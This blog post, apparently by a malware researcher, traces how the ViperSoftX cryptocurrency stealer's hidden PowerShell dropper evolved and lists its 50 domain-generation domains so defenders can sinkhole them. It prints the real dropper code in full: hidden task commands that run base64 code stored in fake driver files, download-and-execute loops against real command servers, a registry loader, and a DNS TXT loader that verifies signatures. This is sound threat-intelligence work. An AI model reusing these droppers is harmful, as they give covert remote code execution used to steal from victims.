50 Domains Worth Blocking: The Evolution of ViperSoftX's Underreported DGA

December 14, 2022

Published Dec 14, 2022 — 15 mins read

Recently, Avast released a detailed report tying together information about ViperSoftX and prior research from several other researchers. ViperSoftX is a multi-stage cryptocurrency stealer which is spread within torrents and filesharing sites - typically distributed as a malicious crack for popular software - and has siphoned off hundreds of thousands of dollars in cryptocurrency from its victims.

One bit of code caught my eye in Avast's report under the "Hidden Script Variants" section - this simple PowerShell dropper that downloads & executes ViperSoftX payloads from a central server:

```
while ($true) {
  try {
    $r = Invoke-RestMethod -Uri
    'http://wmail-service.com/v1/3f6ef4a8-13dc-425f-bf60-1964e1d1da02?v=MIG2'
    if($r -ne '') {
    Start-Job ([ScriptBlock]::Create($r)) | Wait-Job
    }
  } catch {}
  Start-Sleep 2
}
```

I've seen that before.

After diving deeper into some old notes, I reconstructed what I believe is an accurate history showing the development of new versions of this dropper, which now uses a domain generation algorithm (DGA) to maintain control over target machines without depending on a single domain (and thus, single point of failure). This DGA generates up to 50 domains, but only 1 of which was previously attributed to ViperSoftX by Avast (or any other report that I can find).

If you want to skip ahead, jump to the New IOCs section now where you can get the list of all malicious domains to sinkhole.

For the rest, let's dive into the evolution of ViperSoftX's stealthiest dropper![1]

Quick History of ViperSoftX/VenomSoftX

2020

ViperSoftX was first publicly identified in February 2020 by c3rb3ru5d3d53c as a variant of vjw0rm. The author used PowerShell to copy a persistent backdoor that would run on startup, executing the JavaScript components where the operator could run commands, download new payloads, or uninstall the malware. ViperSoftX's main goal was to check the clipboard for cryptocurrency addresses (initially only Bitcoin and Ethereum), then replace them with attacker-controlled cryptocurrency addresses.

Similar findings were reported by FortiGuard Labs several days later, who also dug into the cryptocurrency addresses they observed from ViperSoftX and noted that the operator had amassed $32k USD (in various cryptocurrencies) since 2019 in their known cryptocurrency wallets.

2021

In April 2021, John Hammond dug into a newer sample that stole over $2m in cryptocurrency (at the time), showing how successful the operator had become and clearly demonstrating that they'd scaled their operation well.

One month later May 2021, Colin Cowie reviewed an even newer version of ViperSoftX, which had several notable changes:

- While retaining much of the functionality of prior ViperSoftX samples, much of the JavaScript had been rewritten to PowerShell (ex. C2 functionality),
- This version would start looking for specific cryptocurrency browser extensions in Chromium-based browsers, and
- This version began using a malicious browser extension to do its cryptojacking dirty work.[2]

While pivoting off the unique technique ViperSoftX used to identify if Metamask is installed in Firefox, Colin found additional samples that used a new domain, `wmail-service.com`. This new domain would be the start of a new and unexpected direction.

Evolution of the Hidden Script Dropper

> Throughout this section: big thanks to an anonymous benefactor for pulling samples from VirusTotal for me so I could review and be pretty sure I wasn't talking out of my ass!

Up until this point, ViperSoftX has been using a moderate initial payload - roughly 15KB in size, which has all core functionalities built in. In June 2022, the first samples will emerge which use a *tiny* dropper - which this operator will use for stealth, heavily limiting what code is deployed to a victim machine and making it harder for researchers to see the full picture of this activity.

June 15th, 2022

- **Dropper:** Load from file at offset, then base64
- **C2:** One known domain, `wmail-service.com`, uses HTTP
- **Payload:** Not witnessed

On June 15th, 2022, a topic on malwareremoval.com is started by a person who found a task running on startup:

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -
WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath =
[IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-
AppvPublishingServer n; $sc =
[System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\Sys
tem32\drivers\SkVSjq0D9\DA4A1F43-F9E8-4A62-988D-3DDAC0ECE249.sys'), 1560279, 410);
$sc2 = [Convert]::FromBase64String($sc); $sc3 =
[System.Text.Encoding]::UTF8.GetString($sc2); Invoke-Command
([Scriptblock]::Create($sc3))}
```

This loads, converts from base64, and then executes data stored in a fake driver. The victim extracted it and found this PowerShell script:

```
while ($true) {
  try {
    $r = Invoke-RestMethod -Uri 'http://wmail-service.com/v1/CECCE2DA-EF51-4D10-B16A-
726EEBC7E043?v=Downloads_Counter12'
    if($r -ne '')
    {
    Start-Job ([ScriptBlock]::Create($r)) | Wait-Job
    }
  }
  catch {}
  Start-Sleep 2
}
```

This is identical to the behavior that Avast would attribute to ViperSoftX's hidden script dropper in 2022, and also uses the domain name that Colin identified in 2021. Unfortunately the victim did not record the next stage payload.

June 22nd, 2022

- **Dropper:** Not witnessed
- **C2:** *Changed!* One known domain, `wmail-endpoint.com`, uses HTTP
- **Payload:** Similar to known ViperSoftX samples

(Un)coincidentally only a couple days later on June 22nd, Xavier Mertens would publish a SANS ISC diary about a peculiar PowerShell script which would:

- Steal information about cryptocurrency browser extensions,
- Monitor the clipboard of the infected computer (but this was commented out), and
- Communicate to C2 using a *similar* but not *identical* domain, `wmail-endpoint.com`

This is very similar to the behavior that Colin documented, since neither the dropper *nor* the VenomSoftX extension were found at the time (that is to say, this appears to have been a standalone upload to VirusTotal that Xavier found), this report wasn't attributed at the time to ViperSoftX.

June 28th - July 7th, 2022

- **Dropper:** Load from file at offset, then base64
- **C2:** *Changed!* First implementation of DGA, uses HTTP
- **Payload:** Similar to known ViperSoftX samples, near-identical to Xavier Mertens' discovered payload

A “full” chain showing the new dropper, C2, and payload together would become public roughly two weeks after Xavier’s post, in a thread on whirlpool.net.au where a user found a scheduled task doing ViperSoftX’s usual file slicing:

```
cmd.exe /c echo iex "`$b=
[IO.File]::ReadAllBytes('C:\WINDOWS\System32\5fcxiwjk.cqe');`$s=
[Text.Encoding]::UTF8.GetString(`$b, 444771, 1200);Invoke-Command -ScriptBlock
([ScriptBlock]::Create([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(`$
s))))" | powershell.exe -WindowStyle Hidden
```

But discovered a simple DGA instead of the single domain that ViperSoftX would typically rely on.

```
while ($true) {
  try {
    foreach ($c in (@("com", "xyz"))) {
      foreach ($a in (@("wmail", "fairu", "bideo", "privatproxy", "ahoravideo"))) {
        foreach ($b in (@("endpoint", "blog", "chat", "cdn", "schnellvpn"))) {
          try {
            $h = "$(-join ((97..122) | Get-Random -Count (Get-Random -Minimum 5 -
Maximum 10) | % {[char]$_})).com";
            $r = Invoke-RestMethod -Uri "http://$a-$b.$c/v2/20827351-787f-4d3a-871a-
7a5060767d38?v=Ver_2" -TimeoutSec 30 -Headers @{ Host = $h }
            if ($r -ne '') {
              Start-Job ([ScriptBlock]::Create($r)) | Wait-Job -Timeout 7200
              break;
            }
          }
          catch {
          }
        }
      }
    }
  }
  catch {
  }
  Start-Sleep -Seconds 5;
}
```

In short, this constructs up to 50 different domains, attempting to request data from each and execute the response sequentially. It uses predefined lists to construct each domain:

- Before the dash: `wmail`, `fairu`, `bideo`, `privatproxy`, `ahoravideo`
- After the dash: `endpoint`, `blog`, `chat`, `cdn`, `schnellvpn`
- TLD: `com` or `xyz`

So example domains that would be possible to generate are `wmail-endpoint.com`, `bideo-cdn.com`, `fairu-blog.xyz`, etc. Even though this is a fixed list and somewhat simple as far as DGAs go, it still allows the operator to change infrastructure or suffer the loss of many domains without losing control over their malware. Avast's report noted that one[3] of these domains was a ViperSoftX C2 domain - `wmail-blog.com` - likely because it was hardcoded in a payload they uploaded to VirusTotal.[4]

Other users on the Whirlpool forums accessed `wmail-endpoint.com` and received a PowerShell script (VirusTotal) which was nearly identical to the one Xavier Mertens observed two weeks before.

August 11th, 2022

As an aside, the Whirlpool discussion would also be reported on by Plurbius One on their blog in a post on August 11th, where they reported that they had seen anomalous activity from many of the domains in ViperSoftX's new DGA since June 16th, which is likely closer to when the operator started testing out this new version of their dropper's C2.

This is the article that would make me aware of this particular version of the dropper, but neither Pluribus One nor I at the time attributed this activity to ViperSoftX.

September 30th, 2022

- **Dropper:** *Changed!* Load from registry, then base64
- **C2:** *Changed!* Uses same DGA, but now queries for DNS TXT records, and validates payloads are signed by an attacker-controlled key
- **Payload:** Claimed to be identical

The final distinct evolution of ViperSoftX's hidden dropper that I've observed removed its dependency on slicing files, opting to store the entire dropper script in the Windows registry:

```
$pJlksNzfFlG=[ScriptBlock];$jGzeUphieqP=[string];$BdtrkcFYlEfOmf=[char]; icm
($pJlksNzfFlG::Create($jGzeUphieqP::Join('', ((gp
'HKLM:\SOFTWARE\PoliciesMZCAsPQJ').'tenu6Nvhi5i' | % { [char]$_ }))))
```

The dropper itself also changed:

```
$ms = [IO.MemoryStream]::new();

function Get-Updates {
  param (
    $hostname
  )
  try {
    $dns = Resolve-DnsName -Name $hostname -Type 'TXT'
    $ms.SetLength(0);
    $ms.Position = 0;
    foreach ($txt in $dns) {
      try {
        if ($txt.Type -ne 'TXT') {
          continue;
        }
        $pkt = [string]::Join('', $txt.Strings);
        if ($pkt[0] -eq '.') {
          $dp = [System.Convert]::FromBase64String($pkt.Substring(1).Replace('_',
'+'));
          $ms.Position = [BitConverter]::ToUInt32($dp, 0);
          $ms.Write($dp, 4, $dp.Length - 4);
        }
      }
      catch {
      }
    }

    if ($ms.Length -gt 136) {
      $ms.Position = 0;
      $sig = [byte[]]::new(128);
      $timestamp = [byte[]]::new(8);
      $buffer = [byte[]]::new($ms.Length - 136);
      $ms.Read($sig, 0, 128) | Out-Null;
      $ms.Read($timestamp, 0, 8) | Out-Null;
      $ms.Read($buffer, 0, $buffer.Length) | Out-Null;
      $pubkey = [Security.Cryptography.RSACryptoServiceProvider]::new();
      [byte[]]$bytarr =
6,2,0,0,0,164,0,0,82,83,65,49,0,4,0,0,1,0,1,0,171,136,19,139,215,31,169,242,133,11,14
6,105,79,13,140,88,119,0,2,249,79,17,77,152,228,162,31,56,117,89,68,182,194,170,250,1
6,3,78,104,92,37,37,9,250,164,244,195,118,92,190,58,20,35,134,83,10,229,114,229,137,2
44,178,10,31,46,80,221,73,129,240,183,9,245,177,196,77,143,71,142,60,5,117,241,54,2,1
16,23,225,145,53,46,21,142,158,206,250,181,241,8,110,101,84,218,219,99,196,195,112,71
,93,55,111,218,209,12,101,165,45,13,36,118,97,232,193,245,221,180,169
      $pubkey.ImportCspBlob($bytarr);
      if ($pubkey.VerifyData($buffer,
[Security.Cryptography.CryptoConfig]::MapNameToOID('SHA256'), $sig)) {
        return @{
          timestamp = ([System.BitConverter]::ToUInt64($timestamp, 0));
          text    = ([Text.Encoding]::UTF8.GetString($buffer));
        };
      }
    }
  }
  catch {
  }
  return $null;
}

while ($true) {
  try {
    $update = @{
      timestamp = 0;
      text    = '';
    };
    foreach ($c in (@("com", "xyz"))) {
      foreach ($a in (@("wmail", "fairu", "bideo", "privatproxy", "ahoravideo"))) {
        foreach ($b in (@("endpoint", "blog", "chat", "cdn", "schnellvpn"))) {
          try {
            $h = "$a-$b.$c";
            $r = Get-Updates $h
            if ($null -ne $r) {
              if ($r.timestamp -gt $update.timestamp) {
                $update = $r;
              }
            }
          }
          catch {
          }
        }
      }
    }

    if ($update.text) {
      $job = Start-Job -ScriptBlock ([scriptblock]::Create($update.text));
      $job | Wait-Job -Timeout 14400;
      $job | Stop-Job;
    }
  }
  catch {
  }
  Start-Sleep -Seconds 30;
}
```

While it’s much bulkier overall, the changes themselves are straightforward:

- Instead of accepting arbitrary input, the operator implemented a feature that now verifies payloads received by the dropper are signed by a particular RSA keypair (ex. to guard against rogue persons taking over the operator’s domains).
- The operator now queries DNS for TXT records for domains in the DGA, then joins all TXT records returned by a given domain together. HTTP is no longer used (by the dropper specifically) to fetch the next payload.

Functionally identical versions have been seen since on Reddit on `r/techsupport` and `r/cybersecurity_help` through until December, so it seems like the operator may have settled in for now and isn't making new changes to this *particular* dropper variant.

Future Work

But for defenders, there's much to do. I hope that by raising awareness of this ongoing threat to tens or hundreds of thousands of people worldwide that contemporary antimalware providers will begin to detect and remove ViperSoftX from computers worldwide.

As it stands today, only **2/61** vendors flagged the most recent ViperSoftX dropper sample from *September* as malicious (VT). For the ViperSoftX dropper from July, that only increases to **12/61** (VT). Given that these programs can execute arbitrary input so long as it's signed by the malware author, even if VenomSoftX becomes the most sinkholed software on earth, too many people are still at risk.

How many people exactly? Avast estimated that hotspot countries are India, the USA, and Italy, with under 10,000 active infections each. I think that's conservative. At this time, I own 18/50 domains in ViperSoftX's DGA (**just** for monitoring) - and within the past 30 days, my monitoring infrastructure has served over 900,000 HTTP requests and over 3 *billion* DNS queries, not including caching by public DNS resolvers. Many of the DGA domains I own rank in the top 20,000 domains globally, according to Cloudflare Radar - a horrifying statistic.

I'll be working on releasing more information about what I'm seeing over the coming months, as well as working with impacted users to try to find and report more of the accounts responsible for distributing so many infected torrents. If you or anyone you know has had a ViperSoftX infection, feel free to send me an **anonymous** tip via my contact page with links to any torrented software you've downloaded that you feel could be suspect.[5]

New IOCs

Domains

Below are two lists of domains referenced by ViperSoftX's dropper that you (and your security vendor, etc.) should filter on your network:

For those who skipped here, hi, sorry, I own 18 of the 50 domains in the ViperSoftX DGA.

I do ask, **please only send *abuse reports* for domains you can *confirm* malicious activity from** - for example, in case other researchers also had the idea to register some domains in ViperSoftX's DGA.

However in my opinion, **please sinkhole all 50 domains, including domains I own.** This is for several reasons:

- None of these domains used to exist/host anything else/etc., they're disposable domains for a reason.
- The nature of this malware campaign - a dropper distributed by torrents and filesharing sites - means that new infections could be cropping up for months or years, given the popularity and longevity of torrents.
- I cannot promise that I can hold all 18 domains in the ViperSoftX DGA forever - for example, I may die, allowing those domains to go on to the open market and picked up by an unscrupulous actor (or the original malware operator, etc.).
- My goal is to help raze *this version of the ViperSoftX DGA* to the ground. I am not Microsoft or Google. I'm no security vendor. I can't stop ViperSoftX - but I *can* help try to force the ViperSoftX operator to switch infrastructure/tactics. I'll know if that's working by how much traffic my domains in the DGA see - or how much it drops.

Domain Safety Matrices

For those who need to quickly look up whether a particular domain is owned by me or someone else, here are two tables you can use to look that up. `.com` domains are in the first table, then `.xyz`.

VT Links

(Note: it's late, I'll expand this later.)

Appendix

1. At least, that we know of so far ;) ↩

2. The browser extension component would later evolve into what is called VenomSoftX by Avast's report. ↩

3. Avast also notes `wmail-service.com` as a ViperSoftX C2 domain, which is correct, but that domain specifically isn't actually in the DGA! `service` is not a suffix in the DGA. ↩

4. As seen in Xavier Mertens' report, the payload fetched by the dropper would hardcode *one specific domain* to use as C2 - the later payloads would not reuse the same DGA that the dropper included. If you look through VT, you can find many of these payloads with wmail-blog.com hardcoded. ↩

5. There are some people who might say "they torrented software, they deserve it." There are some people who might also say "they use cryptocurrency, they deserve it." I don't condone either activity, but I *also* don't care to argue either point. I hope that people would stand up for me if I had malware on my machine or was at risk of having malware on my machine - and that's all there needs to be. ↩

Related Posts

Oct 20, 2020 — **Help for Users Impacted by Infected Extensions**
If 'User-Agent Switcher', 'Nano Adblocker', or 'Nano Defender' sound familiar to you, I might have some bad news. A malware operator I am investigating has escalated their operations and infected 350k+ users; here's what happened and what to do if you were one of them. Read more

Sep 27, 2020 — **Email Fraud or Email Compromise: A Beginner's Guide**
A student-friendly post about email, collecting evidence, forming hypotheses, and responding to a real-world incident with imperfect information. Batteries, references, and source materials included. Read more

Want more? Go back to the index!